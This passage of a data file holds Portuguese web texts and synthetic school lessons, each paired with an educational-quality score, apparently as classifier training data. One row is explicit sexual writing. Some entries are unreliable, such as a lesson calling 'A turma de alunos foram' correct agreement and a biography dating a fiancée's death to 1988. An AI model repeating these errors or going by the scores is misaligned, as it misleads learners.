técnica gratuitamente em escala comercial. Embora atualmente este método não esteja disponível na Suíça, o país o está explorando como uma alternativa possível ao abate por maceração e gás. +A Suíça também está explorando a possibilidade de os agricultores criarem frango macho para carne. +O público suíç...",original,original,original,original,3,0.6 +"Tools +Typography +Share This +A Cacequiense Maiara Guterres Coelho estará representando Cacequi no concurso de beleza Miss Mundo Rio Grande do Sul 2016. +O evento que reúne belas jovens de todo estado deve ocorrer no próximo dia 12 de Dezembro na cidade de São Miguel das Missões, o concurso elegerá uma representante para Miss Mundo Brasil. +Confira abaixo material postado no site do concurso falando sobre a candidata que representa Cacequi. +E da Terra da Melancia vem a segunda candidata do grupo coordenado por Juliane Souza. O município, com o maior entroncamento ferroviário do Estado, se desenvolveu a partir dos trilhos do trem e sonha em reviver os áureos tempos da ferrovia. No município há muitos adeptos da trova, um estilo característico de canto, com muito ritmo, rima e improviso. A trova é um costume que se perpetua e tem até um festival em sua homenagem. Há pontos pitorescos e de beleza ímpar, como o balneário de São Simão, as Vossorocas e a maior Ponte Férrea da América Latina. +"" Me chamo Maiara Guterres Coelho e tenho 21 anos, trabalho na empresa Bradesco Seguros em Bento Gonçalves, represento CACEQUI no Miss Mundo Rio Grande do Sul 2016, sou acadêmica de Química no IFF Instituto Federal Farroupilha. +É com imenso prazer que represento a capital da Melancia que se localiza na região oeste do estado, onde nasci e me criei, uma cidade com pouco mais de 13 mil habitantes, é conhecida por seus frutos, a melancia e seus pontos turísticos, contendo a maior ponte férrea da América Latina, e terra dos trovadores, que eu tive o privilégio de ser soberana em 2012 e representar Cacequi na Expointer mais uma vez, entre outros eventos. +Fui soberana em 2013 na FECOBAT , Feira industrial Do Comércio da batata doce em SÃO VICENTE DO SUL, muito conhecida na região de Santa Maria. Em 2014 foi a vez de São Pedro do sul no Garota verão, onde tive experiências únicas que irão ser sempre lembradas com muito amor , pois sempre tive esse sonho de infância. +E neste ano vou para o Miss Mundo Rio Grande do Sul 2016 com o propósito de ""levar minha cidade ao topo"" e mostrar que somos muito mais que um concurso de beleza! A expectativa para o concurso é enorme, sem dúvida será inédito Cacequi no Miss Mundo Rio Grande do Sul , e eu me sinto lisonjeada de poder levar isso aos cacequienses! "" – Comenta Maiara +"" Ficamos muito felizes em ver o nosso belo grupo de candidatas, de vermos a preparação, as expectativas, os sonhos! A grande final está chegando, e esperamos todas de braços abertos no Tenondé Park Hotel, em São Miguel das Missões do dia 9 a 13 de dezembro! Passei muitos anos da minha vida em Cacequi, onde tenho muitos amigos, parentes e claro, um carinho muito especial, ter Cacequi na disputa me enche de orgulho e desejo a Maiara toda a sorte do mundo e muito sucesso"" – Comenta Luciano Vianna, Diretor do evento. +O Miss Mundo Rio Grande do Sul está perto de escolher as novas Rainhas do nosso Estado, São Miguel das Missões será a Capital da Beleza Gaúcha!",original,original,original,original,2,0.4 +"Portfólio - Criação e Cursos de Apresentações +Quer aprender a criar apresentações incríveis? Mais Artigos... +Ari Tomaz da Silva +Expo Premium +Troika Turismo e Intercâmbio - SMG +ISIN RIO 2015 +Troika Turismo e Intercâmbio - ISE +Comunicação Interna SBAP +Grupo Escoteiro Jabuti +Troika Turismo e Intercambio",original,original,original,original,1,0.2 +"and or not in Any field Authorized form of name Parallel form(s) of name Other form(s) of name Dates of existence History Legal status Places General context Occupation access points Occupation access point notes Subject access points Place access points Authority record identifier Institution identifier Sources Maintenance notes +Add new criteria +And +Or +Not +Limit results to: +Filter results by: +Digital object available Yes No +Entity type available Corporate body Family Person +Empty field Authorized form of name Parallel form(s) of name Other form(s) of name Dates of existence History Legal status Places General context Occupation access points Occupation access point notes Subject access points Place access points Authority record identifier Institution identifier Sources Maintenance notes +Find results where: +Relationship controls is controlled by is owned by is the associate of is the business partner of is the child of is the client of is the cousin of is the friend of is the grandchild of is the grandparent of is the owner of is the parent of is the predecessor of is the provider of is the sibling of is the spouse of is the subordinate of is the successor of is the superior of +Related Authority record +Sort by: +Date modified +Name +Identifier +Direction: +Descending +Ascending +André Dreyfus +Add to clipboard +Person +(1897-1952) +Nascido em 1897, em Pelotas (RS), Dreyfus formou-se na Faculdade de Medicina (c. 1919) da Universidade do Brasil, atualmente denominada Universidade Federal do Rio de Janeiro (UFRJ). Fundou, em 1919, um curso particular de Histologia e Embriologia. Em 1922, já incluía aulas sobre Genética e Evolução nos seus cursos, sendo pioneiro nesses estudos em nosso país. Em 1927, foi para São Paulo onde integrou o corpo docente da USP, como assistente das matérias de Histologia e Embriologia na Faculdade de Medicina. Lá lecionou nas Faculdades de Filosofia, Ciências e Letras (FFCL), Medicina, Farmácia e Odontologia; e nas Escolas de Sociologia e Política e Paulista de Medicina. +Quando foi criado o regime de tempo integral, fixou-se no Departamento de Biologia Geral da FFCL; depois do seu concurso para professor catedrático e da obtenção do regime de tempo integral, manteve sempre estreitos vínculos científicos e sociais com todos os laboratórios para cuja formação contribuiu. Foi diretor da FFCL por um período de quatro anos. +Um ponto marcante para o desenvolvimento de Genética no Brasil foi a descoberta de Dreyfus pelo dr. Harry M. Miller Jr., da Fundação Rockefeller. A admiração por Dreyfus e a confiança nele depositada levou a Fundação Rockefeller a trazer para o seu laboratório, na FFCL, o professor Theodosius Dobzhansky, um dos maiores geneticistas e pensadores da Biologia, assim como a financiar a compra de equipamentos e a pesquisa do laboratório. Dreyfus, Dobzhansky, seus amigos e colegas Brieger, em Piracicaba, Krug no Instituto Agronômico de Campinas (IAC) e o dr. Harry M. Miller Jr. foram os primeiros responsáveis pelo desenvolvimento da Genética moderna no Brasil. +Nos últimos anos de sua vida foi atormentado por problemas de saúde relacionados com pressão alta. Apesar da saúde delicada, continuou imprudentemente ativo. Dias antes de falecer, escreveu volumoso trabalho de crítica a uma danosa reforma do ensino que estava sendo projetada. Horas antes de morrer, ainda terminou a elaboração de um trabalho mostrando que a ideia de superioridade racial é geneticamente absurda. Dreyfus faleceu aos 54 anos, em São Paulo no dia 16 de fevereiro de 1952.",original,original,original,original,4,0.8 +"Olá, estudantes! Já pararam para pensar como as palavras 'conversam' umas com as outras nas frases? Hoje, vamos explorar um dos segredos dessa conversa: a concordância verbal. Preparados para desvendar esse mistério? + +**O que é Concordância Verbal?** + +Concordância verbal é a 'dança' entre o verbo e o sujeito. Imagine que o sujeito é o líder da dança, e o verbo precisa seguir o ritmo dele. Isso significa que o verbo deve se flexionar (mudar sua forma) para combinar com o sujeito em número (singular ou plural) e pessoa (eu, tu, ele/ela, nós, vós, eles/elas). + +**Regra Básica: Sujeito no Singular, Verbo no Singular; Sujeito no Plural, Verbo no Plural.** + +Vamos ver alguns exemplos: + +* **Singular:** *O aluno* *estuda* para a prova. (Um aluno, um estudo) +* **Plural:** *Os alunos* *estudam* para a prova. (Vários alunos, vários estudos) + +Fácil, não é? Mas a gramática adora nos desafiar! Vamos explorar algumas situações que exigem um pouco mais de atenção. + +**Casos Especiais: Sujeitos Compostos** + +Quando temos mais de um sujeito (sujeito composto), a concordância geralmente é feita no plural. Por exemplo: + +* *João e Maria* *foram* ao cinema. (João e Maria = Eles) + +Mas atenção! Se os sujeitos compostos forem sinônimos ou expressarem a mesma ideia, o verbo pode ficar no singular: + +* *Cansaço e fadiga* *dominava* o atleta. + +**Sujeito Coletivo** + +Sujeito coletivo é aquele que, mesmo no singular, indica um grupo de seres (ex: turma, bando, plateia). O verbo geralmente fica no singular: + +* *A turma* *estava* animada. + +Mas, se o sujeito coletivo vier seguido de uma expressão que especifica o grupo, o verbo pode ir para o plural: + +* *A turma de alunos* *foram* ao museu. + +**E agora, um desafio!** + +Complete as frases abaixo com o verbo adequado: + +1. *Eu* ______ (gostar) muito de estudar português. +2. *Nós* ______ (ir) ao parque no domingo. +3. *A professora* ______ (explicar) a matéria com clareza. +4. *Os pássaros* ______ (voar) alto no céu. + +Conseguiu? Se sim, parabéns! Você está dominando a concordância verbal! Se não, não se preocupe! Pratique, observe os exemplos e, em breve, você estará craque! + +**Por que a Concordância Verbal é Importante?** + +A concordância verbal garante que a sua mensagem seja clara e compreendida. Imagine uma frase com erros de concordância... Ela pode soar estranha e até mesmo mudar o sentido do que você quer dizer. Dominar a concordância verbal é essencial para uma boa comunicação, tanto na escrita quanto na fala. + +**Conclusão** + +A concordância verbal pode parecer um bicho de sete cabeças, mas com atenção, prática e os exemplos certos, ela se torna uma ferramenta poderosa para aprimorar a sua comunicação. Continue praticando, observando as frases que você lê e escreve, e em breve você estará dominando a arte da concordância verbal! E lembre-se: a gramática não é um conjunto de regras chatas, mas sim um mapa para nos ajudar a nos expressarmos com clareza e precisão.",Português,Gramática básica,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequando-se ao ensino fundamental. Introduz o conceito de concordância verbal de forma clara e progressiva, com exemplos práticos e exercícios. Aborda regras básicas e casos especiais, como sujeitos compostos e coletivos. O estilo de escrita é acessível e motivador, incentivando a prática e a compreensão da importância da concordância verbal para a comunicação eficaz. A estrutura do texto é coerente e bem organizada, facilitando o aprendizado. O texto é adequado e aplicável ao currículo escolar do ensino fundamental.",5,1.0 +"Você sabe qual é a origem da árvore de natal e também das guirlandas, que são muito usadas em nossos finais de ano como enfeites em casas, prédios, ruas, etc? Se você pesquisar na Internet vai encontrar dezenas de explicações, dezenas de ... +Desde que foi alçada à candidata à Presidência da República pelo PSB, após a morte do então candidato Eduardo Campos, Marina Silva redefiniu o cenário eleitoral brasileiro e se tornou o principal assunto da política nacional. Em um víde... +Muitos crentes fazem uma confusão danada a respeito do real significado da expressão localizada em Salmos 1.1: “Bem-aventurado o homem que não anda no conselho dos ímpios, não se detém no caminho dos pecadores, nem se assenta na roda dos e... +Você pergunta: Pra mim está bem claro na Bíblia que o suicídio é pecado. Deus diz em Êxodo 20.13: “não matarás” e também diz em 1 Co 3.17: “Se alguém destruir o santuário de Deus, Deus o destruirá; porque o santuário de Deus, qu... +Num belo domingo ensolarado, após a Escola Bíblica Dominical, ela aparece em casa com um rapaz baixinho, um pouco tímido. O pai fica meio intrigado com aquela presença estranha em sua casa, até que a filha chega com o rapaz e eles se sentam n... +FG News : Ignorância bíblica chegou a um ponto crítico nos EUA, afirma o especialista em Bíblia +O especialista Kenneth Berding diz que seus alunos exibiam pouco conhecimento, mas hoje chega ao inaceitável.Pelos últimos 15 anos em que Kenneth Berding tem ensinado o Novo Testamento, ele admite que seus alunos sempre tiveram pouco conheciment... +LB CARTUCHOS E INFORMÁTICA +RECARGA DE CARTUCHOS NA HORA PRETO E COLORMANUTENÇÃO DE MICRO E NOTEBOOKMONTAGEM DE MICROSVENDA DE PERIFÉRICOSORÇAMENTO GRÁTISAVENIDA ERNANI CARDOSO 183 DENTRO DO CLUBE DO SUBTENENTES E SARGENTOS DA AERONAÚTICA EM CASCADURATELEFONE: 34890543... +Você pergunta: Eu li seu artigo a respeito de tatuagens, mas ainda me ficou uma dúvida: Eu estaria cometendo algum pecado caso fizesse uma tatuagem em homenagem a Deus? Ou seja, um desenho na pele em louvor ao Senhor?Caro leitor, apenas relembra... +Nunca pergunte a um idoso: qual é o segredo de viver tanto assim? Porque a pessoa não vai lhe convencer ou vai dizer que não sabe a resposta. Quem vai adivinhar como se vive anos e anos, com tanta virose, corrupção, mentira, tapeação, bala ... +Você Pergunta: Irmão André, graça e paz! Nos últimos meses tenho passado por uma grande tribulação. Sempre contribui para obra de Deus, pois sei que esse é um dever de todo crente. Porém, há alguns meses atrás perdi meu emprego e por ca...",original,original,original,original,1,0.2 +"Posted on 10 de janeiro, 2022 | by Lucas Martins | Leave a Comment on Janeiro Branco – Mês de conscientização sobre a saúde mental +O Janeiro Branco é uma campanha brasileira iniciada em 2014 que busca chamar a atenção para o tema da saúde mental na vida das pessoas. O mês de janeiro foi escolhido porque é neste mês que as pessoas estão mais focadas em resoluções e metas para o ano. A campanha foi criada por psicólogos de Uberlândia, Minas Gerais, e busca incentivar as pessoas a mudarem suas vidas e buscarem o que as faz felizes. +Saúde Mental é um direito de todas as pessoas — e isso pode fazer toda a diferença no mundo! +Investir em Saúde Mental hoje é garantir qualidade de vida amanhã e sempre +Campanha Janeiro Branco 2022: O mundo pede saúde mental! +FONTE: https://santavitoria.mg.gov.br/2022/01/janeiro-branco-mes-de-conscientizacao-sobre-a-saude-mental/ +FELIZ NATAL +Posted on 24 de dezembro, 2021 | by Lucas Martins | Leave a Comment on FELIZ NATAL +O espírito do Natal é o espírito do amor, da generosidade e da bondade. Ele ilumina a janela da imagem da alma, nós olhamos para este mundo cheio de vida e nos tornamos mais interessados nas pessoas do que nas coisas. O Natal é o espírito de dar sem um pensamento de obter. É felicidade porque vemos alegria nas pessoas. +Campanha Nacional de Prevenção ao HIV/Aids e Outras Infecções Sexualmente Transmissíveis +Posted on 7 de dezembro, 2021 | by Lucas Martins | Leave a Comment on Campanha Nacional de Prevenção ao HIV/Aids e Outras Infecções Sexualmente Transmissíveis +A Campanha Dezembro Vermelho foi instituída no Brasil pela Lei nº 13.504/2017 como forma de gerar mobilização nacional na luta contra o vírus HIV, a Aids e outras ISTs (Infecções Sexualmente Transmissíveis). +A ação objetiva, ainda, chamar a atenção para a prevenção, a assistência e a proteção dos direitos das pessoas infectadas com o HIV. +Constitui-se em um conjunto de atividades relacionadas ao enfrentamento ao HIV/Aids e às demais ISTs, em consonância com os princípios do Sistema Único de Saúde (SUS), de modo integrado em toda a administração pública, com entidades da sociedade civil organizada e organismos internacionais. +No Brasil, 92% das pessoas em tratamento já atingiram o estágio de estarem indetectáveis, ou seja, estado em que a pessoa não transmite o vírus e consegue manter a qualidade de vida sem manifestar os sintomas da Aids. +Essa conquista se deve ao fortalecimento das ações do Ministério da Saúde para ampliar a oferta do melhor tratamento disponível para o HIV, com a incorporação de medicamentos de primeira linha para tratar os pacientes. +Além disso, o SUS coloca à disposição da população as estratégias e tecnologias mais avançadas para a prevenção da infecção pelo vírus, como a Profilaxia Pré-Exposição (PrEP) e a Profilaxia Pós Exposição (PEP); além de ampliar o acesso ao diagnóstico precoce e ações específicas para populações-chave para resposta ao HIV, como pessoas trans, gays, homens que fazem sexo com homens, trabalhadores do sexo, população privada de liberdade e usuários de álcool e outras substâncias. +O movimento Dezembro Vermelho objetiva, ainda, conscientizar a todos a respeito das Infecções Sexualmente Transmissíveis, doenças causadas por vírus, bactérias ou outros microrganismos, transmitidas, principalmente, por meio do contato sexual (oral, vaginal, anal) sem o uso de preservativo masculino ou feminino, com uma pessoa que esteja infectada. +A transmissão de uma IST pode ocorrer, também, verticalmente, da mãe para a criança durante a gestação, o parto ou a amamentação, quando medidas de prevenção não são realizadas. De maneira menos comum, também podem ser transmitidas por meio não sexual, pelo contato de mucosas ou pele não íntegra com secreções corporais contaminadas. +O tratamento das pessoas com IST melhora a qualidade de vida e interrompe a cadeia de transmissão dessas infecções. O atendimento, o diagnóstico e o tratamento são gratuitos nos serviços de saúde do SUS. +As ISTs podem se manifestar po...",original,original,original,original,4,0.8 +"Usamos cookies para melhorar a sua navegação. Ao continuar você concorda com nossa Política de Cookies e Políticas de Privacidade. +Concordo +Dia de Natal +Natal ou Dia de Natal é um feriado e festival religioso cristão comemorado anualmente em 25 de dezembro (nos países eslavos e ortodoxos, cujos calendários eram baseados no calendário juliano, o Natal é comemorado no dia 7 de janeiro). A data é o centro das festas de fim de ano e da temporada de férias, sendo, no cristianismo, o marco inicial do Ciclo do Natal, que dura doze dias. +Originalmente destinada a celebrar o nascimento anual do Deus Sol no solstício de inverno (natalis invicti Solis), a festividade foi ressignificada pela Igreja Católica no século III para estimular a conversão dos povos pagãos sob o domínio do Império Romano e então passou a comemorar o nascimento de Jesus de Nazaré. +Embora tradicionalmente seja um dia santificado cristão, o Natal é amplamente comemorado por muitos não cristãos, sendo que alguns de seus costumes populares e temas comemorativos têm origens pré-cristãs ou seculares. Costumes populares modernos típicos do feriado incluem a troca de presentes e cartões, a Ceia de Natal, músicas natalinas, festas de igreja, uma refeição especial e a exibição de decorações diferentes; incluindo as árvores de Natal, pisca-piscas e guirlandas, visco, presépios e ilex. Além disso, o Papai Noel (conhecido como Pai Natal em Portugal) é uma figura mitológica popular em muitos países, associada com os presentes para crianças. +Como a troca de presentes e muitos outros aspectos da festa de Natal envolvem um aumento da atividade econômica entre cristãos e não cristãos, a festa tornou-se um acontecimento significativo e um período chave de vendas para os varejistas e para as empresas. O impacto econômico da comemoração é um fator que tem crescido de forma constante ao longo dos últimos séculos em muitas regiões do mundo.",original,original,original,original,3,0.6 +"14 de outubro de 2015 18 de outubro de 2015 Georgia Barbosa Atitudes, Brasil, Mundo, Pessoas +Eles participaram de atividades que estimularam os sentidos através da troca de olhares, do toque, do cheiro, da música e das conversas entre si. Foi possível conhecer e perceber o processo de envelhecimento e com isso, aprender a respeitar o próximo. +Para alguns, este foi o primeiro dia que visitaram um asilo e se encantaram com a felicidade que os vovôs e vovós estavam naquele momento. “Eu acho que a vovó ficou feliz que a gente veio aqui.”, estas foram as palavras de uma das crianças “de hoje”. Já “as de ontem” contaram que estavam alegres e satisfeitas, porque as crianças têm o poder de distrair dos momentos tristes, que eles se sentem sozinhos. As duas gerações estavam super agradecidas com tudo aquilo. +O projeto foi baseado em uma instituição chamada Providence Mount St. Vincent de Seattle, nos EUA, que funciona como creche e asilo. +asilo carinho crianças dia das crianças Felicidade Idosos",original,original,original,original,3,0.6 +"Alphonsus de Guimaraens - Simbolismo - Colégio Web +Nascido em Ouro Preto, em 24 de julho de 1870, foi um grande escritor brasileiro. Sua poesia é mística e tem envolvimento com a religiosidade católica. Todos os seus sonetos possuem uma estrutura clássica, e são altamente religiosos e sensíveis, explorando assim o sentido da morte, da solidão e do amor impossível. +Cursou a Escola de Minas em Ouro Preto. Perdeu a noiva em 1988. Constança era filha de Bernardo Guimarães, autor de Escrava Isaura. Após vivenciar o luto, Alphonsus se transfere para São Paulo e faz Faculdade de Direito. Formado em 1894, começa a ser promotor em Minas Gerais. Antes disso, já tinha sido jornalista no Diário Mercantil, Comércio de São Paulo, Correio Paulistano, O Estado de S. Paulo e A Gazeta. +Em 1897, assumiu novo casamento com Zenaide de Oliveira. Em 1906, passa a ser juiz na cidade de Mariana. Ali, teve 14 filhos. +Alphonsus Guimaraens é chamado de o autor místico do Simbolismo. Suas obras estabeleciam uma tríade: misticismo, amor e morte. +O primeiro livro foi publicado em 1899 e tratava de poemas. O nome? Dona Mística. Neste mesmo período publicou o Setenário das dores de Nossa Senhora e Câmara ardente. Em 1902, publica Kyriale com o pseudônimo de Alphonsus Guimaraens. +• Setenário das Dores de Nossa Senhora (1899, poesia). +• Câmara Ardente (1899, poesia). +• Dona Mística (1899, poesia). +• Kyriale (1902, poesia). +• Mendigos (1920, prosa). +• Pastoral aos crentes do amor e da morte (1923, poesia). +• Pulvis. +• Salmos da noite. +• Poesias (1938). +• Jesus eu sei que ela morreu, Viceja… +Postado em 01/06/2012 às 11:02 , atualizado em 02/08/2016 às 09:49 . +O contexto histórico e cultural O Realismo, o Naturalismo e o Parnasianismo foram escolas literárias que aconteceram na mesma época. Elas representavam reações contra o sentimentalismo dos Românticos. O...",original,original,original,original,4,0.8 +"Você já se perguntou por que a água aparece de tantas formas diferentes? Às vezes, gelo durinho, outras vezes, água fresquinha para beber e, em outras, vapor que sai da panela da mamãe! Isso acontece porque a água, assim como outras coisas ao nosso redor, pode se apresentar em diferentes estados físicos: sólido, líquido e gasoso. + +Vamos começar pelo estado sólido. Imagine um cubo de gelo. Ele é duro, tem uma forma definida e, se você o colocar em um copo, ele não se espalha como a água. No estado sólido, as partículas que formam a matéria estão bem juntinhas e organizadas, por isso o gelo é durinho! Outros exemplos de sólidos são: a madeira da sua carteira na escola, o metal dos brinquedos e o plástico do seu lápis. + +Agora, pense na água que você bebe. Ela é líquida! A água líquida não tem uma forma própria. Se você a colocar em um copo, ela assume a forma do copo. Se derramar no chão, ela se espalha. Isso acontece porque, no estado líquido, as partículas estão um pouco mais soltas do que no estado sólido, permitindo que a água se mova e se adapte aos diferentes recipientes. Além da água, o suco, o leite e o óleo são exemplos de líquidos. + +E o vapor que sai da chaleira? Esse é o estado gasoso! No estado gasoso, as partículas estão muito soltas e se movem rapidamente, espalhando-se por todo o lado. O vapor de água não tem forma nem volume definidos e pode se espalhar por todo o ambiente. Outros exemplos de gases são o ar que respiramos e o gás que usamos no fogão para cozinhar. + +A água pode mudar de um estado para outro quando a temperatura muda. Se você colocar água no congelador, ela fica gelada e vira gelo (estado sólido). Se você esquentar o gelo, ele derrete e vira água (estado líquido). E se você continuar esquentando a água, ela ferve e vira vapor (estado gasoso)! Incrível, não é mesmo? + +Agora, pense um pouco: Será que outros materiais também podem mudar de estado como a água? O que acontece com o chocolate quando o deixamos no sol? E com a manteiga quando a colocamos na geladeira? Observar o mundo ao nosso redor é uma ótima forma de aprender sobre os estados físicos da matéria e como eles estão presentes em nosso dia a dia! + +E aí, preparados para serem detetives da matéria e descobrir em quais estados ela se apresenta ao seu redor? Divirtam-se explorando!",Ciências,Estados físicos da matéria,anos iniciais (1º ao 5º ano),"O trecho apresenta um alto valor educacional, abordando de forma clara e acessível os estados físicos da matéria. Utiliza exemplos do cotidiano para facilitar a compreensão, incentivando a observação e a experimentação. A linguagem é adequada para o público infantil, e o conteúdo é relevante para o currículo do ensino fundamental. O texto é coerente, focado e valioso para o aprendizado estruturado, culminando em uma reflexão sobre a mudança de estado em outros materiais.",5,1.0 +"Essa obra é um projeto da “Academia de Letras Infanto-Juvenil de São Bento do Sul, estado de Santa Catarina” integrando escritores, Catarinense, Gaúcho, Goiano, Maranhense, Paulista, Paranaense e Piauiense.",original,original,original,original,1,0.2 +"Meus gemidos e gritos de prazer e orgasmo ecoam pelo quarto, estou em chamas com cada toque, beijos, lambidas, cuspe e suor, com nossos corpos misturando todos os sabores sentindo tudo em minha língua +Marque com seus deliciosos arranhões, revelando tua assinatura em meu corpo, me chamando de sua puta, vadia me fazendo ter alucinações com o poder de suas palavras sobre todo meu ser +Aos seus pés é o meu lugar, meu amado dono IMPERATOR",original,original,original,original,0,0.0 +"Flores e Plantas Naturais em Oferta +Pequeno (10) Médio (6) Mini (1) Tamanho Tamanho +Externo e Interno (15) Interno (2)",original,original,original,original,1,0.2 +"entretenimento para os mais pequenos,... +Recomendado para eventos acima de 150 pessoas. +2 Live Acts (saxofonista, violinista, guitarrista ou outro) ou 1 Banda de Covers (anos 70/80/90) +Animação Infantil + Insuflável para Crianças (até 3h)",original,original,original,original,1,0.2 +Área exclusiva próximo à entrada do evento para embarque e desembarque do,original,original,original,original,1,0.2 +"Você já parou para pensar como os animais e as plantas estão conectados? Em um primeiro olhar, eles podem parecer bem diferentes, mas a verdade é que um depende do outro para sobreviver, formando um ciclo vital essencial para o planeta. Vamos explorar essa relação fascinante! + +As plantas, através de um processo chamado fotossíntese, utilizam a luz do sol, a água e o gás carbônico (aquele que expelimos ao respirar) para produzir seu próprio alimento, liberando oxigênio no ar. E adivinhe quem usa esse oxigênio? Exatamente, nós, os animais! Respiramos o oxigênio produzido pelas plantas e liberamos gás carbônico, que as plantas utilizam para realizar a fotossíntese. É uma troca perfeita! Imagine uma floresta densa: as árvores e outras plantas fornecem oxigênio para inúmeros animais, desde pequenos insetos até grandes mamíferos. + +Mas a relação não para por aí. Muitos animais, como abelhas, borboletas e beija-flores, se alimentam do néctar das flores. Ao fazerem isso, eles transportam o pólen de uma flor para outra, permitindo que as plantas se reproduzam. Esse processo, chamado polinização, é fundamental para a produção de frutos e sementes, que servem de alimento para outros animais, incluindo nós, seres humanos. Pense em uma macieira cheia de maçãs deliciosas: sem a ajuda dos polinizadores, dificilmente teríamos essas frutas. + +Além da polinização, alguns animais também ajudam a espalhar as sementes das plantas. Pássaros, por exemplo, comem frutos e, ao voar para outros lugares, dispersam as sementes através de suas fezes. Esquilos enterram nozes e bolotas, muitas vezes esquecendo onde as enterraram, permitindo que novas árvores cresçam. Esses são apenas alguns exemplos de como os animais ajudam a garantir a continuidade da vida vegetal. + +O que aconteceria se um desses elos da cadeia desaparecesse? Se as plantas desaparecessem, os animais ficariam sem oxigênio e sem alimento. Se os animais que polinizam as plantas desaparecessem, muitas espécies de plantas não conseguiriam se reproduzir. A interdependência entre animais e plantas demonstra a importância de cuidarmos do nosso planeta, protegendo todas as formas de vida. Ao preservarmos as florestas, os rios e os oceanos, estamos garantindo um futuro saudável para todos. Que tal plantar uma árvore ou ajudar a cuidar de um jardim? Pequenas ações podem fazer uma grande diferença!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre a relação entre animais e plantas, abordando fotossíntese, polinização e dispersão de sementes. Ele introduz conceitos importantes do currículo escolar de forma coerente e com linguagem acessível, tornando-o adequado para o ensino fundamental. Além disso, o texto é altamente relevante para fins educacionais, com estilo de escrita claro e consistente, incentivando a reflexão e a ação. Apesar de não apresentar exercícios, seu valor educacional é notável.",5,1.0 +"Diversos apoiadores do candidato que está a frente nas pesquisas que são da classe médica têm se declarado abertamente contra o PARTO HUMANIZADO. Um ginecologista que atualmente compõe a diretoria do CREMERJ, além de ser parte da SGORJ (Sociedade de GO do Rio de Janeiro), por exemplo, manifesta abertamente seu apoio a esse candidato e recentemente manifestou-se que espera apenas uma coisa do novo presidente: +- Retirar todas as esquerdistas que estão na saúde da mulher do Ministério da Saúde há anos +Sabe o que significa isso? As tais ""esquerdistas"" são as profissionais e os profissionais que conduziram, nos últimos anos, a maior parte das ações que levaram a conquistas importantíssimas para o movimento do parto humanizado no país. Quer saber algumas delas? +- construção, reforma e manutenção de centros de parto normal em hospitais, em todo o país (incluindo aí equipamentos, materiais, salários etc.) - construção, reforma e manutenção de casas de parto, os chamados CPNs extra-hospitalares ou peri-hospitalares - criação das residências em enfermagem obstétrica que espalharam parteiras profissionais por todos os cantos do Brasil, incluindo o pagamento das bolsas mensais para que elas estudem e se formem - atualização das diretrizes de assistência ao parto normal que propõe a assistência humanizada ao parto, reforçando a necessidade de reduzir intervenções - publicação de diretrizes para assistência humanizada ao recém-nascido, que oficializa que se deve aguardar o cordão parar de pulsar, colocar o bebê em contato pele a pele etc. - as ações via ANS para reduzir cesáreas e estimular o parto normal nos planos de saúde, incluindo medidas como a que obriga os planos a fornecerem a taxa de cesárea dos médicos e o Projeto Parto Adequado +Sabe o que isso significa? +Que sem as tais ""esquerdistas"" à frente da área de saúde da Mulher do Ministério da Saúde nos últimos 5, 10 anos, muitas de nós aqui não teríamos a opção de parir no SUS, em casa de parto, não teríamos uma enfermeira obstetra para nos atender gratuitamente e mesmo para contratar (em muitos lugares elas nem existiam em número suficiente para dar conta da demanda). +Quem é enfermeira obstetra e está por aqui, talvez não tivesse seu emprego ou nem tivesse conseguido se formar, sem as vagas e as bolsas de residência. Acho que todo mundo que está nessa área há mais tempo sabe que houve uma explosão do número de vagas para parteiras profissionais, de maternidades e CPNs pelo país em razão da Rede Cegonha, planejada, organizada e tocada pelas tais ""esquerdistas"". +E sabe o que é pior? Esses médicos, como o tal que disse isso, eles têm poder, têm contatos. Não custa nada que um deles assuma um cargo em um eventual Ministério do candidato Bolsonaro e acabe de fato com tudo isso. Sabe por que? Porque ele, como outros médicos que fazem o mesmo tipo de coisa e dão o mesmo tipo de declaração, são CONTRA O PARTO HUMANIZADO, são CONTRA ENFERMEIRAS OBSTETRAS E OBSTETRIZES atendendo parto. +E são contra também o parto domiciliar. O CREMERJ, instituição desse mesmo médico que já citamos, entrou recentemente com uma ação na justiça para proibir que enfermeiras obstetras atendam partos em casa. Sabe o que isso significa? Que com poder essas pessoas podem tornar de fato o PD ilegal. +Se estamos aqui em nome de uma causa comum, o parto respeitoso, trabalhando para que ele chegue a cada vez mais gente, que as pessoas não precisem pagar, precisamos nos posicionar nessas eleições. +Porque temos de um lado um candidato (Haddad) com uma proposta específica de programa para incentivo ao parto humanizado e que é do partido dos governos que têm, na última década pelo menos, levado a frente conquistas importantíssimas para o parto humanizado no país. Podemos ter muitas críticas ao partido, todas temos, mas a verdade é que para a política pública de incentivo ao parto humanizado, nunca se avançou tanto em tão pouco tempo. +E de outro, temos um candidato que não tem nenhuma proposta para a humanização do parto e tem,...",original,original,original,original,3,0.6 +"Exercícios sobre Either, Neither e Both com gabarito +Questões com respostas para treinar o Inglês +Atualmente aprender inglês é com toda certeza um dos objetivos de muita gente. E são várias as razões pelas quais as pessoas desejam aprender esse idioma. +Mas para dominar a língua inglesa é preciso estudar como ela funciona na prática, e também as suas regras gramaticais. E para ajudar nesse processo, fazer exercícios nesse idioma é essencial para consolidar o aprendizado da língua. +Pensando nisso, selecionamos alguns exercícios que irão te auxiliar a fixar o uso do Either, Neither e Both. Mas caso surja alguma dúvida na hora de resolvê-los confira o artigo explicativo sobre o uso de cada um desses termos clicando aqui. +1. Choose Either, Neither or Both to fill the spaces in each question +a) I love CLIQUE RESPOSTA of my friends equally. +– Eu amo ambos os meus amigos igualmente. +b) You can have ?????? vanilla ice cream or chocolate icre cream. Which one would you prefer? +– Você pode pegar ou sorvete de baunilha ou sorvete de chocolate. Qual deles você prefere? +c) I can’t choose. Can I have ?????? of them? +– Eu não consigo escolher. Eu posso ter os dois? +d) ?????? of them want to come with me so I will have to go by myself. +– Nenhum deles quer vir comigo, então terei que ir sozinho. +e) I went to Rome and Paris last week and I liked ?????? cities. +– Eu fui para Roma e Paris semana passada, e gostei de ambas as cidades. +f) ?????? John nor Katy worked during the night. +– Nem a Jonh, nem a Katy trabalharam durante a noite. +g) ?????? houses are cheap. +– Ambas as casas são baratas. +h) ?????? Lisa nor Susan will be there. +– Nem Lisa, nem Susan vão estar lá. +i) Which dress do you prefer: the black one or the blue one? ?????? +– Qual vestido você prefere: o preto ou o azul? Qualquer um está bom. +j) Is your friend American or British? ??????. He’s Canadian +– Seu amigo é americano ou Britânico? Nem um, nem outro, ele é canadense. +k) ?????? of them want 